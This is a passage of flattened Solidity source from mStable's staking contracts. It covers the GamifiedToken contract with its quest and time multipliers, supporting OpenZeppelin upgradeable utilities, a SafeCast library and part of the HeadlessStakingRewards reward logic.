* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import { ContextUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import { SafeCastExtended } from "../../shared/SafeCastExtended.sol";
import { ILockedERC20 } from "./interfaces/ILockedERC20.sol";
import { HeadlessStakingRewards } from "../../rewards/staking/HeadlessStakingRewards.sol";
import { QuestManager } from "./QuestManager.sol";
import "./deps/GamifiedTokenStructs.sol";
/**
* @title GamifiedToken
* @notice GamifiedToken is a non-transferrable ERC20 token that has both a raw balance and a scaled balance.
* Scaled balance is determined by quests a user completes, and the length of time they keep the raw balance wrapped.
* QuestMasters can add new quests for stakers to complete, for which they are rewarded with permanent or seasonal multipliers.
* @author mStable
* @dev Originally forked from openzeppelin-contracts-upgradeable/contracts/token/ERC20/ERC20Upgradeable.sol
* Changes:
* - Removed the transfer, transferFrom, approve fns to make non-transferrable
* - Removed `_allowances` storage
* - Removed `_beforeTokenTransfer` hook
* - Replaced standard uint256 balance with a single struct containing all data from which the scaledBalance can be derived
* - Quest system implemented that tracks a users quest status and applies multipliers for them
**/
abstract contract GamifiedToken is
ILockedERC20,
Initializable,
ContextUpgradeable,
HeadlessStakingRewards
{
/// @notice name of this token (ERC20)
bytes32 private _name;
/// @notice symbol of this token (ERC20)
bytes32 private _symbol;
/// @notice number of decimals of this token (ERC20)
uint8 public constant override decimals = 18;
/// @notice User balance structs containing all data needed to scale balance
mapping(address => Balance) internal _balances;
/// @notice Most recent price coefficients per user
mapping(address => uint256) internal _userPriceCoeff;
/// @notice Quest Manager
QuestManager public immutable questManager;
/// @notice Has variable price
bool public immutable hasPriceCoeff;
/***************************************
INIT
****************************************/
/**
* @param _nexus System nexus
* @param _rewardsToken Token that is being distributed as a reward. eg MTA
* @param _questManager Centralised manager of quests
* @param _hasPriceCoeff true if raw staked amount is multiplied by price coeff to get staked amount. eg BPT Staked Token
*/
constructor(
address _nexus,
address _rewardsToken,
address _questManager,
bool _hasPriceCoeff
) HeadlessStakingRewards(_nexus, _rewardsToken) {
questManager = QuestManager(_questManager);
hasPriceCoeff = _hasPriceCoeff;
}
/**
* @param _nameArg Token name
* @param _symbolArg Token symbol
* @param _rewardsDistributorArg mStable Rewards Distributor
*/
function __GamifiedToken_init(
bytes32 _nameArg,
bytes32 _symbolArg,
address _rewardsDistributorArg
) internal initializer {
__Context_init_unchained();
_name = _nameArg;
_symbol = _symbolArg;
HeadlessStakingRewards._initialize(_rewardsDistributorArg);
}
/**
* @dev Checks that _msgSender is the quest Manager
*/
modifier onlyQuestManager() {
require(_msgSender() == address(questManager), "Not verified");
_;
}
/***************************************
VIEWS
****************************************/
function name() public view override returns (string memory) {
return bytes32ToString(_name);
}
function symbol() public view override returns (string memory) {
return bytes32ToString(_symbol);
}
/**
* @dev Total sum of all scaled balances
* In this instance, leave to the child token.
*/
function totalSupply()
public
view
virtual
override(HeadlessStakingRewards, ILockedERC20)
returns (uint256);
/**
* @dev Simply gets scaled balance
* @return scaled balance for user
*/
function balanceOf(address _account)
public
view
virtual
override(HeadlessStakingRewards, ILockedERC20)
returns (uint256)
{
return _getBalance(_account, _balances[_account]);
}
/**
* @dev Simply gets raw balance
* @return raw balance for user
*/
function rawBalanceOf(address _account) public view returns (uint256, uint256) {
return (_balances[_account].raw, _balances[_account].cooldownUnits);
}
/**
* @dev Scales the balance of a given user by applying multipliers
*/
function _getBalance(address _account, Balance memory _balance)
internal
view
returns (uint256 balance)
{
// e.g. raw = 1000, questMultiplier = 40, timeMultiplier = 30. Cooldown of 60%
// e.g. 1000 * (100 + 40) / 100 = 1400
balance = (_balance.raw * (100 + _balance.questMultiplier)) / 100;
// e.g. 1400 * (100 + 30) / 100 = 1820
balance = (balance * (100 + _balance.timeMultiplier)) / 100;
if (hasPriceCoeff) {
// e.g. 1820 * 16000 / 10000 = 2912
balance = (balance * _userPriceCoeff[_account]) / 10000;
}
}
/**
* @notice Raw staked balance without any multipliers
*/
function balanceData(address _account) external view returns (Balance memory) {
return _balances[_account];
}
/**
* @notice Raw staked balance without any multipliers
*/
function userPriceCoeff(address _account) external view returns (uint256) {
return _userPriceCoeff[_account];
}
/***************************************
QUESTS
****************************************/
/**
* @dev Called by anyone to poke the timestamp of a given account. This allows users to
* effectively 'claim' any new timeMultiplier, but will revert if there is no change there.
*/
function reviewTimestamp(address _account) external {
_reviewWeightedTimestamp(_account);
}
/**
* @dev Adds the multiplier awarded from quest completion to a users data, taking the opportunity
* to check time multipliers etc.
* @param _account Address of user that should be updated
* @param _newMultiplier New Quest Multiplier
*/
function applyQuestMultiplier(address _account, uint8 _newMultiplier)
external
onlyQuestManager
{
require(_account != address(0), "Invalid address");
// 1. Get current balance & update questMultiplier, only if user has a balance
Balance memory oldBalance = _balances[_account];
uint256 oldScaledBalance = _getBalance(_account, oldBalance);
if (oldScaledBalance > 0) {
_applyQuestMultiplier(_account, oldBalance, oldScaledBalance, _newMultiplier);
}
}
/**
* @dev Gets the multiplier awarded for a given weightedTimestamp
* @param _ts WeightedTimestamp of a user
* @return timeMultiplier Ranging from 20 (0.2x) to 60 (0.6x)
*/
function _timeMultiplier(uint32 _ts) internal view returns (uint8 timeMultiplier) {
// If the user has no ts yet, they are not in the system
if (_ts == 0) return 0;
uint256 hodlLength = block.timestamp - _ts;
if (hodlLength < 13 weeks) {
// 0-3 months = 1x
return 0;
} else if (hodlLength < 26 weeks) {
// 3 months = 1.2x
return 20;
} else if (hodlLength < 52 weeks) {
// 6 months = 1.3x
return 30;
} else if (hodlLength < 78 weeks) {
// 12 months = 1.4x
return 40;
} else if (hodlLength < 104 weeks) {
// 18 months = 1.5x
return 50;
} else {
// > 24 months = 1.6x
return 60;
}
}
function _getPriceCoeff() internal virtual returns (uint256) {
return 10000;
}
/***************************************
BALANCE CHANGES
****************************************/
/**
* @dev Adds the multiplier awarded from quest completion to a users data, taking the opportunity
* to check time multiplier.
* @param _account Address of user that should be updated
* @param _newMultiplier New Quest Multiplier
*/
function _applyQuestMultiplier(
address _account,
Balance memory _oldBalance,
uint256 _oldScaledBalance,
uint8 _newMultiplier
) private updateReward(_account) {
// 1. Set the questMultiplier
_balances[_account].questMultiplier = _newMultiplier;
// 2. Take the opportunity to set weighted timestamp, if it changes
_balances[_account].timeMultiplier = _timeMultiplier(_oldBalance.weightedTimestamp);
// 3. Update scaled balance
_settleScaledBalance(_account, _oldScaledBalance);
}
/**
* @dev Entering a cooldown period means a user wishes to withdraw. With this in mind, their balance
* should be reduced until they have shown more commitment to the system
* @param _account Address of user that should be cooled
* @param _units Units to cooldown for
*/
function _enterCooldownPeriod(address _account, uint256 _units)
internal
updateReward(_account)
{
require(_account != address(0), "Invalid address");
// 1. Get current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
uint88 totalUnits = oldBalance.raw + oldBalance.cooldownUnits;
require(_units > 0 && _units <= totalUnits, "Must choose between 0 and 100%");
// 2. Set weighted timestamp and enter cooldown
_balances[_account].timeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp);
// e.g. 1e18 / 1e16 = 100, 2e16 / 1e16 = 2, 1e15/1e16 = 0
_balances[_account].raw = totalUnits - SafeCastExtended.toUint88(_units);
// 3. Set cooldown data
_balances[_account].cooldownTimestamp = SafeCastExtended.toUint32(block.timestamp);
_balances[_account].cooldownUnits = SafeCastExtended.toUint88(_units);
// 4. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/**
* @dev Exiting the cooldown period explicitly resets the users cooldown window and their balance
* @param _account Address of user that should be exited
*/
function _exitCooldownPeriod(address _account) internal updateReward(_account) {
require(_account != address(0), "Invalid address");
// 1. Get current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
// 2. Set weighted timestamp and exit cooldown
_balances[_account].timeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp);
_balances[_account].raw += oldBalance.cooldownUnits;
// 3. Set cooldown data
_balances[_account].cooldownTimestamp = 0;
_balances[_account].cooldownUnits = 0;
// 4. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/**
* @dev Pokes the weightedTimestamp of a given user and checks if it entitles them
* to a better timeMultiplier. If not, it simply reverts as there is nothing to update.
* @param _account Address of user that should be updated
*/
function _reviewWeightedTimestamp(address _account) internal updateReward(_account) {
require(_account != address(0), "Invalid address");
// 1. Get current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
// 2. Set weighted timestamp, if it changes
uint8 newTimeMultiplier = _timeMultiplier(oldBalance.weightedTimestamp);
require(newTimeMultiplier != oldBalance.timeMultiplier, "Nothing worth poking here");
_balances[_account].timeMultiplier = newTimeMultiplier;
// 3. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/**
* @dev Called to mint from raw tokens. Adds raw to a users balance, and then propagates the scaledBalance.
* Importantly, when a user stakes more, their weightedTimestamp is reduced proportionate to their stake.
* @param _account Address of user to credit
* @param _rawAmount Raw amount of tokens staked
* @param _exitCooldown Should we end any cooldown?
*/
function _mintRaw(
address _account,
uint256 _rawAmount,
bool _exitCooldown
) internal updateReward(_account) {
require(_account != address(0), "ERC20: mint to the zero address");
// 1. Get and update current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
uint88 totalRaw = oldBalance.raw + oldBalance.cooldownUnits;
_balances[_account].raw = oldBalance.raw + SafeCastExtended.toUint88(_rawAmount);
// 2. Exit cooldown if necessary
if (_exitCooldown) {
_balances[_account].raw += oldBalance.cooldownUnits;
_balances[_account].cooldownTimestamp = 0;
_balances[_account].cooldownUnits = 0;
}
// 3. Set weighted timestamp
// i) For new _account, set up weighted timestamp
if (oldBalance.weightedTimestamp == 0) {
_balances[_account].weightedTimestamp = SafeCastExtended.toUint32(block.timestamp);
_mintScaled(_account, _getBalance(_account, _balances[_account]));
return;
}
// ii) For previous minters, recalculate time held
// Calc new weighted timestamp
uint256 oldWeightedSecondsHeld = (block.timestamp - oldBalance.weightedTimestamp) *
totalRaw;
uint256 newSecondsHeld = oldWeightedSecondsHeld / (totalRaw + (_rawAmount / 2));
uint32 newWeightedTs = SafeCastExtended.toUint32(block.timestamp - newSecondsHeld);
_balances[_account].weightedTimestamp = newWeightedTs;
uint8 timeMultiplier = _timeMultiplier(newWeightedTs);
_balances[_account].timeMultiplier = timeMultiplier;
// 3. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/**
* @dev Called to burn a given amount of raw tokens.
* @param _account Address of user
* @param _rawAmount Raw amount of tokens to remove
* @param _exitCooldown Exit the cooldown?
* @param _finalise Has recollateralisation happened? If so, everything is cooled down
*/
function _burnRaw(
address _account,
uint256 _rawAmount,
bool _exitCooldown,
bool _finalise
) internal updateReward(_account) {
require(_account != address(0), "ERC20: burn from zero address");
// 1. Get and update current balance
(Balance memory oldBalance, uint256 oldScaledBalance) = _prepareOldBalance(_account);
uint256 totalRaw = oldBalance.raw + oldBalance.cooldownUnits;
// 1.1. If _finalise, move everything to cooldown
if (_finalise) {
_balances[_account].raw = 0;
_balances[_account].cooldownUnits = SafeCastExtended.toUint88(totalRaw);
oldBalance.cooldownUnits = SafeCastExtended.toUint88(totalRaw);
}
// 1.2. Update
require(oldBalance.cooldownUnits >= _rawAmount, "ERC20: burn amount > balance");
unchecked {
_balances[_account].cooldownUnits -= SafeCastExtended.toUint88(_rawAmount);
}
// 2. If we are exiting cooldown, reset the balance
if (_exitCooldown) {
_balances[_account].raw += _balances[_account].cooldownUnits;
_balances[_account].cooldownTimestamp = 0;
_balances[_account].cooldownUnits = 0;
}
// 3. Set back scaled time
// e.g. stake 10 for 100 seconds, withdraw 5.
// secondsHeld = (100 - 0) * (10 - 0.625) = 937.5
uint256 secondsHeld = (block.timestamp - oldBalance.weightedTimestamp) *
(totalRaw - (_rawAmount / 8));
// newWeightedTs = 937.5 / 100 = 93.75
uint256 newSecondsHeld = secondsHeld / totalRaw;
uint32 newWeightedTs = SafeCastExtended.toUint32(block.timestamp - newSecondsHeld);
_balances[_account].weightedTimestamp = newWeightedTs;
uint8 timeMultiplier = _timeMultiplier(newWeightedTs);
_balances[_account].timeMultiplier = timeMultiplier;
// 4. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
/***************************************
PRIVATE
updateReward should already be called by now
****************************************/
/**
* @dev Fetches the balance of a given user, scales it, and also takes the opportunity
* to check if the season has just finished between now and their last action.
* @param _account Address of user to fetch
* @return oldBalance struct containing all balance information
* @return oldScaledBalance scaled balance after applying multipliers
*/
function _prepareOldBalance(address _account)
private
returns (Balance memory oldBalance, uint256 oldScaledBalance)
{
// Get the old balance
oldBalance = _balances[_account];
oldScaledBalance = _getBalance(_account, oldBalance);
// Take the opportunity to check for season finish
_balances[_account].questMultiplier = questManager.checkForSeasonFinish(_account);
if (hasPriceCoeff) {
_userPriceCoeff[_account] = SafeCastExtended.toUint16(_getPriceCoeff());
}
}
/**
* @dev Settles the scaled balance of a given account. The reason this is done here, is because
* in each of the write functions above, there is the chance that a users balance can go down,
* requiring to burn sacled tokens. This could happen at the end of a season when multipliers are slashed.
* This is called after updating all multipliers etc.
* @param _account Address of user that should be updated
* @param _oldScaledBalance Previous scaled balance of the user
*/
function _settleScaledBalance(address _account, uint256 _oldScaledBalance) private {
uint256 newScaledBalance = _getBalance(_account, _balances[_account]);
if (newScaledBalance > _oldScaledBalance) {
_mintScaled(_account, newScaledBalance - _oldScaledBalance);
}
// This can happen if the user moves back a time class, but is unlikely to result in a negative mint
else {
_burnScaled(_account, _oldScaledBalance - newScaledBalance);
}
}
/**
* @dev Propagates the minting of the tokens downwards.
* @param _account Address of user that has minted
* @param _amount Amount of scaled tokens minted
*/
function _mintScaled(address _account, uint256 _amount) private {
emit Transfer(address(0), _account, _amount);
_afterTokenTransfer(address(0), _account, _amount);
}
/**
* @dev Propagates the burning of the tokens downwards.
* @param _account Address of user that has burned
* @param _amount Amount of scaled tokens burned
*/
function _burnScaled(address _account, uint256 _amount) private {
emit Transfer(_account, address(0), _amount);
_afterTokenTransfer(_account, address(0), _amount);
}
/***************************************
HOOKS
****************************************/
/**
* @dev Triggered after a user claims rewards from the HeadlessStakingRewards. Used
* to check for season finish. If it has not, then do not spend gas updating the other vars.
* @param _account Address of user that has burned
*/
function _claimRewardHook(address _account) internal override {
uint8 newMultiplier = questManager.checkForSeasonFinish(_account);
bool priceCoeffChanged = hasPriceCoeff
? _getPriceCoeff() != _userPriceCoeff[_account]
: false;
if (newMultiplier != _balances[_account].questMultiplier || priceCoeffChanged) {
// 1. Get current balance & trigger season finish
uint256 oldScaledBalance = _getBalance(_account, _balances[_account]);
_balances[_account].questMultiplier = newMultiplier;
if (priceCoeffChanged) {
_userPriceCoeff[_account] = SafeCastExtended.toUint16(_getPriceCoeff());
}
// 3. Update scaled balance
_settleScaledBalance(_account, oldScaledBalance);
}
}
/**
* @dev Unchanged from OpenZeppelin. Used in child contracts to react to any balance changes.
*/
function _afterTokenTransfer(
address _from,
address _to,
uint256 _amount
) internal virtual {}
/***************************************
Utils
****************************************/
function bytes32ToString(bytes32 _bytes32) internal pure returns (string memory) {
uint256 i = 0;
while (i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
interface IGovernanceHook {
function moveVotingPowerHook(
address from,
address to,
uint256 amount
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastExtended {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint88 from uint256, reverting on
* overflow (when the input is greater than largest uint88).
*
* Counterpart to Solidity's `uint88` operator.
*
* Requirements:
*
* - input must fit into 88 bits
*/
function toUint88(uint256 value) internal pure returns (uint88) {
require(value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits");
return uint88(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(
value >= type(int128).min && value <= type(int128).max,
"SafeCast: value doesn't fit in 128 bits"
);
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(
value >= type(int64).min && value <= type(int64).max,
"SafeCast: value doesn't fit in 64 bits"
);
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(
value >= type(int32).min && value <= type(int32).max,
"SafeCast: value doesn't fit in 32 bits"
);
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(
value >= type(int16).min && value <= type(int16).max,
"SafeCast: value doesn't fit in 16 bits"
);
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(
value >= type(int8).min && value <= type(int8).max,
"SafeCast: value doesn't fit in 8 bits"
);
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface ILockedERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
// Internal
import { InitializableRewardsDistributionRecipient } from "../InitializableRewardsDistributionRecipient.sol";
import { StableMath } from "../../shared/StableMath.sol";
import { PlatformTokenVendorFactory } from "./PlatformTokenVendorFactory.sol";
import { ContextUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
// Libs
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
/**
* @title HeadlessStakingRewards
* @author mStable
* @notice Rewards stakers of a given LP token with REWARDS_TOKEN, on a pro-rata basis
* @dev Forked from `StakingRewards.sol`
* Changes:
* - `pendingAdditionalReward` added to support accumulation of any extra staking token
* - Removal of `StakingTokenWrapper`, instead, deposits and withdrawals are made in child contract,
* and balances are read from there through the abstract functions
*/
abstract contract HeadlessStakingRewards is
ContextUpgradeable,
InitializableRewardsDistributionRecipient
{
using SafeERC20 for IERC20;
using StableMath for uint256;
/// @notice token the rewards are distributed in. eg MTA
IERC20 public immutable REWARDS_TOKEN;
/// @notice length of each staking period in seconds. 7 days = 604,800; 3 months = 7,862,400
uint256 public constant DURATION = 1 weeks;
/// @notice contract that holds the platform tokens
address public rewardTokenVendor;
struct Data {
/// Timestamp for current period finish
uint32 periodFinish;
/// Last time any user took action
uint32 lastUpdateTime;
/// RewardRate for the rest of the period
uint96 rewardRate;
/// Ever increasing rewardPerToken rate, based on % of total supply
uint96 rewardPerTokenStored;
}
struct UserData {
uint128 rewardPerTokenPaid;
uint128 rewards;
}
Data public globalData;
mapping(address => UserData) public userData;
uint256 public pendingAdditionalReward;
event RewardAdded(uint256 reward);
event RewardPaid(address indexed user, address indexed to, uint256 reward);
/**
* @param _nexus mStable system Nexus address
* @param _rewardsToken first token that is being distributed as a reward. eg MTA
*/
constructor(address _nexus, address _rewardsToken)
InitializableRewardsDistributionRecipient(_nexus)
{
REWARDS_TOKEN = IERC20(_rewardsToken);
}
/**
* @dev Initialization function for upgradable proxy contract.
* This function should be called via Proxy just after contract deployment.
* To avoid variable shadowing appended `Arg` after arguments name.
* @param _rewardsDistributorArg mStable Reward Distributor contract address
*/
function _initialize(address _rewardsDistributorArg) internal virtual override {
InitializableRewardsDistributionRecipient._initialize(_rewardsDistributorArg);
rewardTokenVendor = PlatformTokenVendorFactory.create(REWARDS_TOKEN);
}
/** @dev Updates the reward for a given address, before executing function */
modifier updateReward(address _account) {
_updateReward(_account);
_;
}
function _updateReward(address _account) internal {
// Setting of global vars
(uint256 newRewardPerToken, uint256 lastApplicableTime) = _rewardPerToken();
// If statement protects against loss in initialisation case
if (newRewardPerToken > 0) {
globalData.rewardPerTokenStored = SafeCast.toUint96(newRewardPerToken);
globalData.lastUpdateTime = SafeCast.toUint32(lastApplicableTime);
// Setting of personal vars based on new globals
if (_account != address(0)) {
userData[_account] = UserData({
rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken),
rewards: SafeCast.toUint128(_earned(_account, newRewardPerToken))
});
}
}
}
/***************************************
ACTIONS
****************************************/
/**
* @dev Claims outstanding rewards for the sender.
* First updates outstanding reward allocation and then transfers.
*/
function claimReward(address _to) public {
_claimReward(_to);
}
/**
* @dev Claims outstanding rewards for the sender.
* First updates outstanding reward allocation and then transfers.
*/
function claimReward() public {
_claimReward(_msgSender());
}
function _claimReward(address _to) internal updateReward(_msgSender()) {
uint128 reward = userData[_msgSender()].rewards;
if (reward > 0) {
userData[_msgSender()].rewards = 0;
REWARDS_TOKEN.safeTransferFrom(rewardTokenVendor, _to, reward);
emit RewardPaid(_msgSender(), _to, reward);
}
_claimRewardHook(_msgSender());
}
/***************************************
GETTERS
****************************************/
/**
* @dev Gets the RewardsToken
*/
function getRewardToken() external view override returns (IERC20) {
return REWARDS_TOKEN;
}
/**
* @dev Gets the last applicable timestamp for this reward period
*/
function lastTimeRewardApplicable() public view returns (uint256) {
return StableMath.min(block.timestamp, globalData.periodFinish);
}
/**
* @dev Calculates the amount of unclaimed rewards per token since last update,
* and sums with stored to give the new cumulative reward per token
* @return 'Reward' per staked token
*/
function rewardPerToken() public view returns (uint256) {
(uint256 rewardPerToken_, ) = _rewardPerToken();
return rewardPerToken_;
}
function _rewardPerToken()
internal
view
returns (uint256 rewardPerToken_, uint256 lastTimeRewardApplicable_)
{
uint256 lastApplicableTime = lastTimeRewardApplicable(); // + 1 SLOAD
Data memory data = globalData;
uint256 timeDelta = lastApplicableTime - data.lastUpdateTime; // + 1 SLOAD
// If this has been called twice in the same block, shortcircuit to reduce gas
if (timeDelta == 0) {
return (data.rewardPerTokenStored, lastApplicableTime);
}
// new reward units to distribute = rewardRate * timeSinceLastUpdate
